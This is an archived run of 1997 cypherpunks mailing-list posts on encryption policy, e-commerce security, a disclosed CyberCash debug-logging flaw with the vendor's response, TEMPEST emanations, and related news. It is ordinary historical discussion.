Consular Information Sheets.  To unsubscribe, send a message containing the
word "unsubscribe" to:	travel-advisories-request@stolaf.edu

Archives of past "travel-advisories" postings are available at the URL:
"http://www.stolaf.edu/network/travel-advisories.html" or via Gopher:
gopher.stolaf.edu, Internet Resources/US-State-Department-Travel-Advisories





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 26 Nov 1997 23:26:53 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Suggested Reading...
Message-ID: <199711261528.JAA22801@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text




The Case Against The Global Economy: and for a turn toward the local
ed. J. Mander, E. Goldsmith
ISBN 0-87156-865-9
$16.00

A collection of 43 essays discussing the consequences and alternatives to
unitary global economy. The homogoneity of such a system is seen as
counter-productive to the long-term human condition.


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carl Ellison <cme@cybercash.com>
Date: Wed, 26 Nov 1997 23:30:58 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: official CyberCash response
In-Reply-To: <v04002712b0a11912a1de@[139.167.130.248]>
Message-ID: <3.0.3.32.19971126101408.00a1d910@cybercash.com>
MIME-Version: 1.0
Content-Type: text/plain



Note that the following was posted without the indentation that was used to 
quote the anonymous posting.  I indicate it below with ":>".

At 07:38 PM 11/25/97 -0500, Robert Hettinga wrote:
>[The following should appear in its entirety if it's printed at all.]
>
>The following message appeared on the net.
>
:>From: Anonymous <anon@ANON.EFGA.ORG>
:>Subject:      Major security flaw in Cybercash 2.1.2
:>To: BUGTRAQ@NETSPACE.ORG
:>
:>CyberCash v. 2.1.2 has a major security flaw that causes all credit
:>card information processed by the server to be logged in a file with
:>world-readable permissions.  This security flaw exists in the default
:>CyberCash installation and configuration.
:>
:>The flaw is a result of not being able to turn off debugging.  Setting
:>the "DEBUG" flag to "0" in the configuration files simply has no
:>effect on the operation of the server.
:>
:>In CyberCash's server, when the "DEBUG" flag is on, the contents of
:>all credit card transactions are written to a log file (named
:>"Debug.log" by default).
:>
:>The easiest workaround I've found is to simply delete the existing
:>Debug.log file.  In my experience with the Solaris release, the
:>CyberCash software does not create this file at start time when the
:>DEBUG flag is set to 0.
:>
:>The inability to turn off debugging is noted on CyberCash's web site
:>under "Known Limitations".  The fact that credit card numbers are
:>stored in the clear, in a world readable file, is not.
>
>We have taken this quite seriously and have put through a full release of
>our software which will be available Monday 11/24 for three platforms and
>others shortly thereafter. The flaw was in the debug logging function, not
>in the protocols or core implementation.  Nonetheless, the effect was an
>unnecessary exposure of potentially sensitive information, and it shouldn't
>have gone out the door that way.  We're tightening our internal processes
>to avoid this in the future.
>
>That said, here's the actual exposure.  The credit card information that's
>in the clear in the log comes from "merchant-initiated" transactions, which
>means the merchant obtains the credit card number from somewhere -- phone,
>mail, fax, SSL-protected Internet interaction, or unprotected Internet
>interaction.  The merchant thus has the same info in the clear already.
>
>If the card number was provided via a wallet, then the card number is
>blinded at the consumer's end.  It is therefore not in the clear as it
>passes through the merchant's machine and the reported exposure does not
>apply..
>
>In order for the unprotected log to pose a risk of exposure, someone has to
>be able to gain access to the merchant's machine.  If the machine is well
>protected, viz behind a firewall and/or carefully configured, presumably an
>outsider won't be able to gain access.  And in terms of the *additional*
>exposure the open log represents over existing risks, if the same
>information is accessible in the clear elsewhere on the machine,
>eliminating from the log or encrypting the log provides little or no real
>protection.  We continue to advise merchants to take strong steps to
>protect their machines.
>
>To our knowledge, the exposure documented above has not resulted in the
>actual loss of any customer data or other security incident.
>
>
>----------------------------------
>Steve Crocker                                   Desk:  +1 703 716 5214
>CyberCash, Inc.                                 Main:  +1 703 620 4200
>2100 Reston Parkway                             Fax:   +1 703 620 4215
>Reston, VA 20191                                crocker@cybercash.com
>
>
>
>
>
>--- end forwarded text
>
>
>
>-----------------
>Robert Hettinga (rah@shipwright.com), Philodox
>e$, 44 Farquhar Street, Boston, MA 02131 USA
>"... however it may deserve respect for its usefulness and antiquity,
>[predicting the end of the world] has not been found agreeable to
>experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
>The e$ Home Page: http://www.shipwright.com/
>Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>
>
>
>
>For help on using this list (especially unsubscribing), send a message to
>"dcsb-request@ai.mit.edu" with one line of text: "help".
>
>

+------------------------------------------------------------------+
|Carl M. Ellison  cme@cybercash.com   http://www.clark.net/pub/cme |
|CyberCash, Inc.                      http://www.cybercash.com/    |
|207 Grindall Street  PGP 08FF BA05 599B 49D2  23C6 6FFD 36BA D342 |
|Baltimore MD 21230-4103  T:(410) 727-4288  F:(410)727-4293        |
+------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 26 Nov 1997 23:13:37 +0800
To: ravage@ssz.com
Subject: Re: NEW TRAVEL INFO -- Togo (fwd)
In-Reply-To: <199711261416.IAA22618@einstein.ssz.com>
Message-ID: <199711261426.OAA02287@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Hey Jim,

Were you thinking that we all might like to emigrate to Togo or or
something?

Adam

> [Togo travel advisory]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Wed, 26 Nov 1997 20:02:58 +0800
To: Jon Galt <jongalt@pinn.net>
Subject: Re: Microsoft/Phillipines
In-Reply-To: <Pine.SUN.3.91.971124223818.2537B-100000@everest.pinn.net>
Message-ID: <Pine.LNX.3.93.971126212446.135K-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 24 Nov 1997, Jon Galt wrote:

[...]

> I think it is really cool that a private company can actually negotiate 
> somewhat as an equal with a government.

If thare power is equal with government then there corruption will be
equal with government.  Goverment, corperation, caffelblonker there all
the diffrent lables for the same missgided idear.

> But the other thing it might imply is that the power of government is 
> slipping - which is definitely a good thing.

Now its just changing hands.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett.  I do not reply to munged addresses.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBNHv6UaQK0ynCmdStAQH7UAQAn99Ei0HrWn+9jKCqxEj09Kp71oGGxDaE
oUiQmfWyXg+mYPhFpyy2ePV+q8e+phP4RHJyfR+WzbB+vOTcclbK7DXBIygO79ok
/KPJBP1dCUiWyUZ/jB959BCYcbrY6K/2bV6hMJIXwXZzlkI54doQsTa4i+30he0q
rbNPT+w9IrE=
=4+wA
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Honig <honig@otc.net>
Date: Thu, 27 Nov 1997 02:33:44 +0800
To: Glenn Hauman <hauman@bb.com>
Subject: Re: Microsoft's compelled speech, compelled marketing
In-Reply-To: <v03007815b0a0bd483d3b@[204.254.22.197]>
Message-ID: <3.0.5.32.19971126091941.007d5df0@206.40.207.40>
MIME-Version: 1.0
Content-Type: text/plain



At 09:04 PM 11/25/97 -0500, Glenn Hauman wrote:
>At 12:40 PM -0500 11/25/97, Declan McCullagh wrote:
>
>Hold it-- are you suggesting that the DOJ is being restrained in going
>after Microsoft? By who?
>

The secret MS hack which disables OS's running under .gov domains when the 
right signal is given :-) :-)



------------------------------------------------------------
      David Honig                   Orbit Technology
     honig@otc.net                  Intaanetto Jigyoubu

Information is a dense, colorless, odorless material readily transmitted
across empty space and arbitrary boundaries by shaking charged particles.
















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 27 Nov 1997 01:57:02 +0800
To: cypherpunks@toad.com
Subject: Newsletter Internetwk: InternetWeek Newsletter - Nov. 25
Message-ID: <v04002736b0a1f3fdc3eb@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


To: dcsb@ai.mit.edu
Subject: Newsletter Internetwk: InternetWeek Newsletter - Nov. 25
Date: Tue, 25 Nov 1997 08:01:13 -0500
From: "Eric S. Johansson" <esj@harvee.billerica.ma.us>
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: "Eric S. Johansson" <esj@harvee.billerica.ma.us>


------- Forwarded Message

That Ain't No Standard Spec

It looks like SET may have run out of breath before even
leaving the starting gate. Despite a dogged insistence by
its sponsors that the 6-month-old Secure Electronic
Transactions specification is essential to the growth
of Internet commerce, the technology's creators cannot
point to one operational deployment.

And with good reason, apparently. The two main
beneficiaries of the technology--merchants and banks--say
the technology is severely flawed. They say compliance with
the spec does not guarantee compatibility across
vendor implementations. They further charge that SET is too
complex to integrate cleanly with legacy transaction
systems. In short, they say, the standard is not a standard
at all.

"It's an enormously complex technology that's flawed from
the bottom up," according to Aberdeen Group analyst Chris
Stevens. "The only people who are interested in it are the
credit card associations, analysts, the press, Hewlett-
Packard and IBM."

Two of SET's inventors, Hewlett-Packard's VeriFone division
and IBM, all but admitted SET's shortcomings earlier this
month when they announced a program to ensure that their
SET 1.0-enabled products are interoperable.

The results will be published in a reference guide for
developers. But SET products are supposed to be
interoperable by definition, according to the
published spec. Other features of the spec are
confidentiality of information, integrity of data, card
holder account authentication and merchant authentication.

The preliminary 0.0 version of the spec has been extended
to February of next year so retailers can work with a more
tested version through the Christmas season. Version 2.0 is
already in the works for release late next year.

As a result of the glitches, the sponsors of the
initiative, mainly the credit card issuers and E-commerce
software vendors, are loosening their definition of a
standard. "In the SET 1.0 specification, we tried to be as
precise as possible, but any specification is open to
interpretation," said Steve Mott, MasterCard's senior vice
president for E-commerce. "The marketplace will determine
if it's a standard."

Mott acknowledged that the root of SET's troubles is its
complexity. SET relies on a three-tier architecture-the
client wallet, the merchant server and the gateway to
processing banks. Not only does each tier have to exchange
transaction data, but it must be able to do so with
software developed by different vendors. Moreover, as a
certificate-based system, SET requires the management of
digital certificates for millions of merchants and
consumers.

All of this has left the banking industry holding the ball.
"There are a lot of operational issues left unresolved,
like the problem of integrating SET and a new level of
certificate information with the banks' legacy systems,"
said Stephanie Denny, until recently the vice president and
director of marketing for Bank of America's credit card
unit. By Matthew Friedman

http://techweb.cmp.com/internetwk/news/news1124-1.htm

*************************

- -------------------------------------------------------
Copyright 1997 CMP Media Inc. a service of InternetWeek.
- -------------------------------------------------------
Distributed by Email Publishing Inc. - http://www.emailpub.com

------- End of Forwarded Message



For help on using this list (especially unsubscribing), send a message to
"dcsb-request@ai.mit.edu" with one line of text: "help".

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Honig <honig@otc.net>
Date: Thu, 27 Nov 1997 03:41:36 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Cato Institute request for policy papers on encryption
In-Reply-To: <v03007803b0a2067f3ed2@[204.254.22.29]>
Message-ID: <3.0.5.32.19971126111541.0080b720@206.40.207.40>
MIME-Version: 1.0
Content-Type: text/plain




Thom. Jefferson was a cryptographer

http://www.monticello.org/Matters/interests/wheel_cipher.html

A good URL for educational tutorials aimed at kids.





------------------------------------------------------------
      David Honig                   Orbit Technology
     honig@otc.net                  Intaanetto Jigyoubu

Information is a dense, colorless, odorless material readily transmitted
across empty space and arbitrary boundaries by shaking charged particles.
















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 27 Nov 1997 01:36:48 +0800
To: cypherpunks@toad.com
Subject: Cato Institute request for policy papers on encryption
Message-ID: <v03007803b0a2067f3ed2@[204.254.22.29]>
MIME-Version: 1.0
Content-Type: text/plain



----

Date: Tue, 25 Nov 1997 10:18:33 -0500
From: Solveig Singleton <solveig@cato.org>
Subject: Request for short policy papers

Cato Institute's progam for information studies (that is, privacy and
crypto) is interested in receiving proposals for **short** policy papers
(five to thirty pages) on different aspects of the encryption debate.  In
particular, I am interested in detailed, well-argued but concise papers
addressing the following:

*  The costs (narrowly conceived) of mandatory key recovery:  OMB has one
estimate with no particular empirical support beyond the assertions of
national security folks.  We are interested in cost estimates that move the
debate forward in being based on something more concrete and reliable than
what has been offered thus far--so, we won't need years of carefully
calibrated econometric data (which just isn't there)--but we do want
something more than speculation.

*  Also needed, a short paper illustrating the impact of the export control
regime on experimental software or hardware ventures.  What are the costs of
the regulatory process in time and money, from the standpoint of the
developer?  Anecdotes welcome.

*  I would also like to do a paper on the uses of encryption in combatting
human rights violations worldwide, again replete with examples and anecdotes...

*  and A short paper on the ease of evading export controls--detailing the
ease with which encryption programs can be homemade, purchased from foreign
sources, etc.;

*  and a short paper on the strength of U.S. assertions that other countries
are likely to go along with U.S. attempts to foist mandatory key escrow upon
everyone by international agreement.

Please contact me if you are interested.



Solveig Singleton
(202) 789-5274
(202) 842-3490 (fax)

Director of Information Studies
Cato Institute
1000 Mass. Ave. NW
Washington, DC 20001






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 27 Nov 1997 01:36:46 +0800
To: cypherpunks@toad.com
Subject: Freedom Forum First Amendment conference (12/16/97)
Message-ID: <v03007805b0a20a532590@[204.254.22.29]>
MIME-Version: 1.0
Content-Type: text/plain



-----------

Date: Wed, 26 Nov 1997 10:33:05 -0500
From: Paul McMasters <pmcmasters@freedomforum.org>
Subject: First Amendment Conference

	The Freedom Forum is sponsoring a major conference on the First
Amendment
on December 16 in Arlington, Va.  We will be releasing Donna Demac's "State
of the First Amendment" report and a landmark public opinion survey on the
First Amendment.  In addition, there will be presentations by leading
authorities on violence in the media, hate speech, pornography, flag
desecration, television, the Internet, videos, the press, art, and
religion.  If you would like more details and directions for signing up
(there is no charge), please go to my web page at:
	http://www.freedomforum.org/first/1997/11/20famdcon.asp

	Here it is in a nutshell:

	Who:	Everyone concerned about the First Amendment
	What:	State of the First Amendment conference
	Where:  The Freedom Forum World Center, Arlington, Va.
	When:  Tuesday, December 16, from 8:30 a.m. until 5:30 p.m.
	Why:  Release of a major report, "State of the First Amendment," and a
landmark national survey of public attitudes toward the First Amendment
	How:  Just check our web site for details and directions
	The catch:  There is none.  No charge.  Good food.  Good conversation.
First-rate speakers.  Dynamite program.
	Contact:  Paul McMasters, 703-284-3511, or:
			pmcmasters@freedomforum.org






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 27 Nov 1997 04:54:55 +0800
To: Sal Denaro <schear@lvdi.net>
Subject: Re: FCPUNX:Internet Casinos
In-Reply-To: <199711252358.SAA26330@beast.brainlink.com>
Message-ID: <3.0.3.32.19971126122940.0071d73c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:49 PM 11/26/1997 -0500, Sal Denaro wrote:
>If you can't see the tables, how do you know the games aren't rigged?

There's a lot of cryptography work addressing this problem,
with variants like "Mental poker".  You can do things like have
the participants each 
- pick a random number, 
- share the hash of their numbers with each other, 
- then share the random numbers with the casino
- then XOR everybody's random numbers together to feed the 
	casino's card shuffler
- play the game, lose the money
- casino reveals its random number
- everybody compares hashes to verify that it was honest


>And do they offer Wayne Newton over streaming Video?
I'm sure that can be arranged :-)
> What about free drinks?
By Fedex.

				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 27 Nov 1997 02:49:45 +0800
To: cypherpunks <cypherpunks@toad.com
Subject: Re: Quoting Portions of a Signed Document
In-Reply-To: <199711252109.WAA05443@basement.replay.com>
Message-ID: <Pine.SUN.3.96.971126131804.24545B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 25 Nov 1997, Anonymous wrote:

> A crude approach would be to sign every paragraph or line separately,
> but that's obviously inelegant.

Or use a MIME attachment to store secure hashes (heck, these could even be
CRC32's if you're not too paranoid which you could pack into 5 bytes of
ascii or something) of each of the lines in the body, then a valid
signature of all the hashes at the end. 

When you reply to such a message, you'll need to reattach the hash
attachment to the reply along with some sort of translation table that
says line 20 in this message is quoted from line 502 in the original.

You'll also need some way to do quotes that won't interfere with the hash
testing... maybe using block quotes such as

:Begin_Quote
text
:End_Quote

or delete the ">" chars.  But you'll get in trouble with auto text
justifications...

i.e. reply signature mime attachment:
*Quoted Lines used: 15=234, 16=235, 17=236, etc...
*From Original Mime attachment:
*Begin body hashes
line1hash line2hash line3hash line4hash line5hash.... lineNhash
*Begin body hash signature
slkdjflskdjfjsdlfjsdlf
*End signature

Or when you quote the message, you could have the begin_quote blocks have
the line translation in them.

If you don't mind shoving HTML in the text, the begin quote blocks in the
body of the reply could include the line number.  i.e.

(using square brackets so those using HTML readers will see this.)

[Strong][QuoteLine55-69]
text_of_lines55-69_from_original_message_here.
[/QUOTE][/Strong]



Problem with this scheme:

But, then what do we do about quoted quotes from the reply of the
reply????  We could recurse the stuff through, but then deep replies will
have a large number of attachments if we chose to retain them...  Possible
solution, don't keep quoted quote signatures, or just keep the message
id's of them so they can be verified from an archive server or
something...


While you will need special mailer clients to decode the attachments and
verify the quotes, you still want some compatibility with regular mail
clients...

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sal Denaro <sal@panix.com>
Date: Thu, 27 Nov 1997 03:10:42 +0800
To: Steve Schear <schear@lvdi.net>
Subject: Re: FCPUNX:Internet Casinos
In-Reply-To: <199711252358.SAA26330@beast.brainlink.com>
Message-ID: <Pine.SUN.3.94.971126134625.27783A-100000@panix3.panix.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 13 Nov 1997, Steve Schear wrote:
> FilterBot V2.11: Originally from cypherpunks/coderpunks/elsewhere
> ---------------------------------------------------------------
>  From     : Steve Schear <schear@lvdi.net>
>  Subj     : Internet Casinos
>  Date     : Thu, 13 Nov 1997 17:09:16 -0800
>  Forward? : No
>  Return   : schear@lvdi.net
>  MsgID    : <v03102804b091551631d5@[208.129.55.202]>
>  FromList : owner-cypherpunks@Algebra.COM Thu Nov 13 20:21:47 1997
> ---------------------------------------------------------------
> <bold>Internet Casinos Find a Haven in the Caribbean
> </bold>Los Angeles Times
> ST. JOHN'S, Antigua and Barbuda-None of the 64,000 residents of this
> small, three-island Caribbean nation have complained about the latest
> international gambling boom to sweep their secretive little piece of
> paradise.
> 
> In the past few months alone, more than a dozen casinos have opened
> here. But most Antiguans don't even know they exist.
> 
> That's because you can't see them.

If you can't see the tables, how do you know the games aren't rigged?

And do they offer Wayne Newton over streaming Video? What about free
drinks?
   





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 27 Nov 1997 03:23:02 +0800
To: cypherpunks <cypherpunks@toad.com
Subject: RE:: [NTSEC] - cheap tempest solution (fwd)
Message-ID: <Pine.SUN.3.96.971126141039.24545E-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain





=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================

---------- Forwarded message ----------
Date: Mon, 24 Nov 1997 20:50:10 -0500
From: "Stout, William" <StoutW@pios.com>
To: "'ntsecurity@iss.net'" <ntsecurity@iss.net>
Subject: RE: OFF-TOPIC RE: [NTSEC] - cheap tempest solution


> ----- Original Message -----
> From:	Tim Lebrun [SMTP:tlebrun@internetmci.com]
> 
> This may be a stupid  question,  but what is tempest monitoring?  And 
> what kind of information can you get from doing  it?

Ooh, ooh, something I was trained in once.

Tempest protection is the ability to prevent undesirable signals from
escaping a computer system.  

In the old days, electro-mechanical teletypes were used by the military.
 Someone discovered that placing a signal analyzer on the power feed
shows what character is represented by each signal spike.  Automating
the translation gives you a mirror output of each message someplace
else.  Electrical filters (not just transformers which can pass these
signals) prevent this.  Present day keyboards and mice also radiate
signals, readable even though the device is within the FCC part 15 class
A or B device signal emanation restrictions.  Both tube-type and LCD
displays are big transmitters, and can be read by receivers connected to
similarly phased displays.  The receivers can be in a nearby building,
van, plane or satellite.  Makes you think twice when typing PGP messages
or 'accidentally' hitting a 'can be used against you' newsgroup.  Search
for 'Van Eck' for more data.  Physical metallic shielding (and thorough
testing) fixes this.  Network wires and equipment are also major radio
transmitters, metallic types are readable from a distance, and of course
networks can be directly tapped, even glass fiber.  (It's been found in
military environments, a simple wire was surreptitiously stretched above
a ceiling, and which would act as a retransmitter.)  All cables are
guilty of transmitting readable signals if not properly shielded and
filtered.  Van Eck/tempest exploiting devices are used in the
military/spy/wire-fraud/'drug war' business and in both government
sponsored and private corporate espionage.

Don't confuse EMP (Electro-Magnetic Pulse) protection with Tempest,
since EMP is a high-energy pulse (such as created by a nuclear burst)
that generates a high-voltage electrical pulse in both plugged in and
off-line electronic equipment, and typically frys all unshielded
electronics.  Same effect as a power surge, but affects all circuits,
even parts sitting on shelves.  HERF guns do the same thing.

Damn.  I'm also guilty of contributing to the noise and 'firewalls-list'
demise of NTsecurity list.

Bill Stout







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 27 Nov 1997 03:25:54 +0800
To: kbajalc@eon.pmf.ukim.edu.mk
Subject: Re: New Algorithm (reposted)
In-Reply-To: <199711250220.DAA18306@basement.replay.com>
Message-ID: <Pine.SUN.3.96.971126141825.24545F-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain




Anyone know what IP address that web server has?  My DNS server wasn't
able to resolve this.

On Tue, 25 Nov 1997, Anonymous wrote:

> Hello
> 
>  I send you links to my site where my crypto algorithm is published. I
> hope you will find time to visit it and see what I have
> discover. Algorithms I have design are Anigma and MEX128. Anigma is
> encryption algo based on use Variable Function Technology, it
> main characteristic is possibility to create unique encryption function
> for every possible key. This make algorithm strong to all
> known attacks, this is only my thesis I look for your help to find out
> is it true. Please visit
> <http://eon.pmf.ukim.edu.mk/~kbajalc/algo/index.html>. Documentation
> about Anigma and Mex128 now are available only in Macedonian.
> I will appreciate very much if you give me your opinion about Anigma and
> Mex128 or give me address of people who can do.
> 
>                                                                         
> Koki
> 
> ------------------------------------------------------------------------
> ------------------------- 
>  Kostadin Bajalcaliev           http://eon.pmf.ukim.edu.mk/~kbajalc/
>  26th of April Str. No: 14
>  91480 Gevgelija                 kbajalc@eon.pmf.ukim.edu.mk
>  Macedonia                        kbajalc@informa.mk
> ------------------------------------------------------------------------
> ------------------------
> 
> 

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Thu, 27 Nov 1997 05:05:04 +0800
To: cypherpunks@cyberpass.net
Subject: Student Writer Harrassed by SS
Message-ID: <199711262045.OAA10392@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain



BERKELEY, Calif. (AP) -- Secret Service agents searched the apartment
of a University of California student newspaper columnist who wrote a
satirical attack on Chelsea Clinton, the writer says.
 
Guy Branum, a columnist for the Daily Californian, said agents
searched his off-campus apartment Monday, the same day Chelsea
Clinton's mother, Hillary Rodham Clinton, visited the university for a
meeting on foster care. Chelsea Clinton is a freshman at rival
Stanford University.
 
The Secret Service office in San Jose refused to comment or confirm
Branum's account. A White House spokeswoman also would not comment.
 
The agents checked for weapons, Branum said Tuesday. They also had him
sign a release giving them access to his medical records, he said.
 
``They wanted to make sure there wasn't anything that would
demonstrate mental instability on my part,'' he said. ``No pictures of
Chelsea with X's through them or something like that.''
 
He said he gave two agents permission for the search after they
threatened to detain him while getting a search warrant if he didn't.
 
Branum said his column, which appeared Thursday, was meant to be
satirical. It was intended to rally spirit before the UC-Stanford
football game.
 
In the column, Branum revealed which dormitory Chelsea lives in and
wrote: ``Show your spirit on Chelsea's bloodied carcass, because as
the Stanford Daily (newspaper) lets us know, she is JUST ANOTHER
STUDENT.''
 
``She embodies the Stanford ethos of establishment worship that must
be subverted and destroyed,'' the column continued. ``Is hate a strong
word? Yes. Is it applicable? Certainly.''
 
The newspaper apologized Friday for undermining a ``student's physical
safety'' and its own reputation.
 
Stanford went on to beat UC, 21-20, in Saturday's game.
 
Branum said the agents who searched his apartment lectured him about
the column and about a previous column in which he referred to the
president as ``Sexual Predator in Chief.''

--  
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 27 Nov 1997 06:04:05 +0800
To: cypherpunks@cyberpass.net
Subject: US Air Force IPSEC Requirements
Message-ID: <v04002726b0a22d3263f4@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


From: "Boyter, Brian A." <boyter@afiwc01.af.mil>
To: "'ipsec@tis.com'" <ipsec@tis.com>
Subject: US Air Force IPSEC Requirements
Date: Tue, 25 Nov 1997 17:03:03 -0600
MIME-Version: 1.0
Sender: owner-ipsec@ex.tis.com
Precedence: bulk

First, I would like to introduce myself...
My name is Brian Boyter, I'm a Senior Consulting
Engineer with the Computer Sciences Corp, and I
am under contract to the US Air Force Information
Warfare Center in San Antonio, Texas, working on
USAF computer security...

The USAF is evaluating the use of IPSEC products
to help secure its unclassified networks...   These unclas
networks are used to communicate with contractors, and to
process financial, logistic, personnel, and medical data...
The IPSEC would be used to protect the data from
unauthorized viewing and to protect the networks and
computers from hackers...   Our goal is to eventually IPSEC
encrypt all unclassified computer communications end-to-end...

The USAF recently completed a hasty evaluation of several
IPSEC products...   Most products would work fine for a
small organization, but do not scale to an enterprise the size
of the USAF (500,000 computers)...

Here is a short list of basic USAF requirements which we found
lacking in the current IPSEC products:
1. 	The Department of Defense will soon deploy a Public
Key Infrastructure (PKI)...   The IPSEC products need to
use this existing PKI (not require a separate keying product)...
2. 	The USAF uses HP OpenView as its standard SNMP
management product...   Error logging and other IPSEC status
information needs to interoperate with OpenView...
3. 	The USAF needs to be able to manage the IPSEC security
policy sanely...   An example of a USAF IPSEC security policy
might be:  "all USAF computers can talk to all other USAF
computers using DES, all other computers it talks in-the-clear"...
It will not be possible to manage 500,000 different rule sets...
The security policy must be made simple...    We need the X.500
equivalent
of *.mil,  *.af.mil,  *.lackland.af.mil,  and *.hospital.*.af.mil so
that
we can generate rule sets using these wild cards...   I don't think
rules based on IP addresses will work either...

I'm not including interoperability in the above list because the ANX
has done a good job of making that requirement visible....

What I'm trying to point out is two things:
1. The IPSEC products need to re-use as much of our existing
infrastructure as possible (for example PKI, SNMP, etc)...
If the USAF were a small company that didn't have a large
infrastructure
investment already, it wouldn't be an issue...   But if each IPSEC
product
requires a management console at each air force base, then that can
add up to millions of dollars, thousands of man hours, training costs,
etc...
2. I'm also trying to point out that there is no standard (that I can
find) for
representing, storing, or disseminating the security policy....

Although these are Air Force requirements, I'm sure the same
requirements will exist for any large enterprise contemplating the
use
of IPSEC products...

I plan to be at the IETF meeting in December and will be glad to
speak to anyone about these issues...    Perhaps an IPSEC security
policy BOF could even be arranged???

Thanks,
Brian Boyter
boyter@afiwc01.af.mil
(210)977-3113

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
